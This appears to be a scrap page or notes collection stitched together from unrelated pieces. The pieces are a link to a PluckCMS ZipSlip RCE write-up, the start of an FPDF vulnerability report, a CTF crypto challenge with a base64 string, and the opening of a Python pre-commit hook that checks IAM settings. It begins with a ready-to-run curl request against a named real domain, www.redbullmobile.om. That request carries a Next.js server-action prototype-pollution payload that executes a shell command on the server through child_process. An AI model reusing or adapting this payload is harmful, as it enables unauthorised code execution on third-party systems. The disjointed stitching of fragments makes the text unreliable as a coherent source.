Raj Chowdhury RajChowdhury240

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: www.redbullmobile.om' -H $'Next-Action: x' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad' -H $'Content-Length: 740' \
    --data-binary $'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\x0d\x0aContent-Disposition: form-data; name=\"0\"\x0d\x0a\x0d\x0a{\x0d\x0a  \"then\": \"$1:__proto__:then\",\x0d\x0a  \"status\": \"resolved_model\",\x0d\x0a  \"reason\": -1,\x0d\x0a  \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\x0d\x0a  \"_response\": {\x0d\x0a    \"_prefix\": \"var res=process.mainModule.require(\'child_process\').execSync(\'id\',{\'timeout\':5000}).toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'), {digest:`${res}`});\",\x0d\x0a    \"_chunks\": \"$Q2\",\x0d\x0a    \"_formData\": {\x0d\x0a      \"get\": \"$1:constructor:constructor\"\x0d\x0a    }\x0d\x0a

https://fzl-aws.notion.site/PluckCMS-ZipSlip-RCE-2bcb231ab1b680e780a7d0ba6e1d8e41

Security Vulnerability Report - FPDF Directory

Date: Generated on scan
Severity Levels: Critical, High, Medium, Low

Executive Summary

This directory contains multiple web vulnerabilities, with the most critical being in index.php which appears to be an intentionally vulnerable CTF (Capture The Flag) demonstration file. The FPDF library itself (fpdf.php) also contains a potential Local File Inclusion vulnerability in the _loadfont method.

	Cipher Chronicles: The Leaky Dispatch
	200
	AF2025
	0 0
	One of our agents sent us this dispatch, but we fear it was intercepted and tampered with. We know it's been encoded to look like nonsense and then encrypted. Our agent's field manual mentions a “Primary” protocol they always use to generate the key. We need you to decrypt the message and recover the flag. We have obtained intelligence indicating that the target is employing double encryption.

	Dispatch File: UkJtaG9wdGlob1ZHOFlsOFVpMWlJVmcwMTVLd2ViTzBQcm1mS0FFUA==

	#!/usr/bin/env python3
	"""
	Pre-commit hook to scan CloudFormation templates for insecure IAM configurations.
	Checks for specific IAM actions with Resource "*" without any conditions.
	"""

	import json
	import yaml
	import sys
	import os